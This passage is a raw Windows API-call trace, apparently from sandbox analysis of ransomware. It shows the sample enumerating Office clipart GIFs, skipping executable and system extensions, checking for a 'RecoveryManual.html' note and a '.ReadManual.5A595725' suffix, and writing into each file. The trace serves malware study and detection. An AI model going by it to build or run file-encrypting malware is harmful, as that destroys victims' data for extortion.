dwMaximumSizeLow=0x3a19, lpName=0x0) returned 0x184 [0258.647] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.648] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.648] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.650] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.650] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a19) returned 0x2f0000 [0258.650] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.650] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37931879861) returned 1 [0258.650] CloseHandle (hObject=0x184) returned 1 [0258.650] SetSecurityInfo () returned 0x57 [0258.650] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.650] CloseHandle (hObject=0x194) returned 1 [0258.651] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0258.651] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00037_.GIF" | out: lpString1="AG00037_.GIF") returned="AG00037_.GIF" [0258.651] lstrcmpiW (lpString1="AG00037_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.651] StrStrIW (lpFirst="AG00037_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.651] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.651] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.651] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.651] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.651] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.651] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.651] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.651] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.651] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.651] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.651] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.651] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.652] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.652] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.652] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" [0258.652] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.ReadManual.5A595725" [0258.652] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.ReadManual.5A595725") returned 87 [0258.652] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37932044682) returned 1 [0258.652] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0258.652] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.652] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6684) returned 1 [0258.652] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a1c, lpName=0x0) returned 0x184 [0258.652] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.653] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.653] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.654] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.655] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a1c) returned 0x2f0000 [0258.655] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.655] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37932363635) returned 1 [0258.655] CloseHandle (hObject=0x184) returned 1 [0258.655] SetSecurityInfo () returned 0x57 [0258.655] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.655] CloseHandle (hObject=0x194) returned 1 [0258.656] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0258.656] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00038_.GIF" | out: lpString1="AG00038_.GIF") returned="AG00038_.GIF" [0258.656] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.656] StrStrIW (lpFirst="AG00038_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.656] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.656] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.656] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.656] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.656] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.656] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.656] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.656] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.656] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.656] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.656] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.656] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.656] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.656] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.656] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" [0258.656] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.ReadManual.5A595725" [0258.656] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.ReadManual.5A595725") returned 87 [0258.656] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37932506736) returned 1 [0258.656] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0258.657] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.657] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3251) returned 1 [0258.657] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb3, lpName=0x0) returned 0x184 [0258.658] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.658] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.658] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.660] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.660] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcb3) returned 0x2f0000 [0258.660] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.660] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37932899159) returned 1 [0258.660] CloseHandle (hObject=0x184) returned 1 [0258.660] SetSecurityInfo () returned 0x57 [0258.660] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.660] CloseHandle (hObject=0x194) returned 1 [0258.661] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0258.661] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00040_.GIF" | out: lpString1="AG00040_.GIF") returned="AG00040_.GIF" [0258.661] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.661] StrStrIW (lpFirst="AG00040_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.661] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.661] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.661] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.661] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.661] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.661] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.661] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.661] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.661] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.661] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.661] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.661] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.661] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.661] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.661] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" [0258.661] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.ReadManual.5A595725" [0258.661] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.ReadManual.5A595725") returned 87 [0258.662] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37933029753) returned 1 [0258.662] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0258.662] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.662] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8097) returned 1 [0258.662] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa1, lpName=0x0) returned 0x184 [0258.662] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.663] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.663] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.664] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.665] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fa1) returned 0x2f0000 [0258.665] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.665] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37933352835) returned 1 [0258.665] CloseHandle (hObject=0x184) returned 1 [0258.665] SetSecurityInfo () returned 0x57 [0258.665] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.665] CloseHandle (hObject=0x194) returned 1 [0258.666] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0258.666] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00052_.GIF" | out: lpString1="AG00052_.GIF") returned="AG00052_.GIF" [0258.666] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.666] StrStrIW (lpFirst="AG00052_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.666] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.666] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.666] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.666] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.666] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.666] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.666] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.666] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.666] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.666] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.666] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.666] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.666] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.666] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.666] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" [0258.666] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.ReadManual.5A595725" [0258.666] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.ReadManual.5A595725") returned 87 [0258.666] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37933487708) returned 1 [0258.666] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0258.666] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.666] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7686) returned 1 [0258.667] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e06, lpName=0x0) returned 0x184 [0258.667] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.667] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.667] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.670] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.671] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e06) returned 0x2f0000 [0258.671] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.671] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37933963639) returned 1 [0258.671] CloseHandle (hObject=0x184) returned 1 [0258.671] SetSecurityInfo () returned 0x57 [0258.671] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.671] CloseHandle (hObject=0x194) returned 1 [0258.672] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0258.672] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AG00057_.GIF" | out: lpString1="AG00057_.GIF") returned="AG00057_.GIF" [0258.672] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="RecoveryManual.html") returned -1 [0258.672] StrStrIW (lpFirst="AG00057_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.672] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0258.672] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0258.672] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0258.672] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0258.672] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0258.672] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0258.672] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0258.672] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0258.672] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0258.672] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0258.672] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0258.672] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0258.672] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0258.672] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0258.672] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" [0258.672] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.ReadManual.5A595725" [0258.672] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.ReadManual.5A595725") returned 87 [0258.672] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37934103971) returned 1 [0258.672] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0258.673] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.673] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11891) returned 1 [0258.673] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e73, lpName=0x0) returned 0x184 [0258.673] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.673] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.673] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.675] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.675] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e73) returned 0x2f0000 [0258.675] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.675] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37934409176) returned 1 [0258.675] CloseHandle (hObject=0x184) returned 1 [0258.675] SetSecurityInfo () returned 0x57 [0258.675] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.675] CloseHandle (hObject=0x194) returned 1 [0258.676] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, 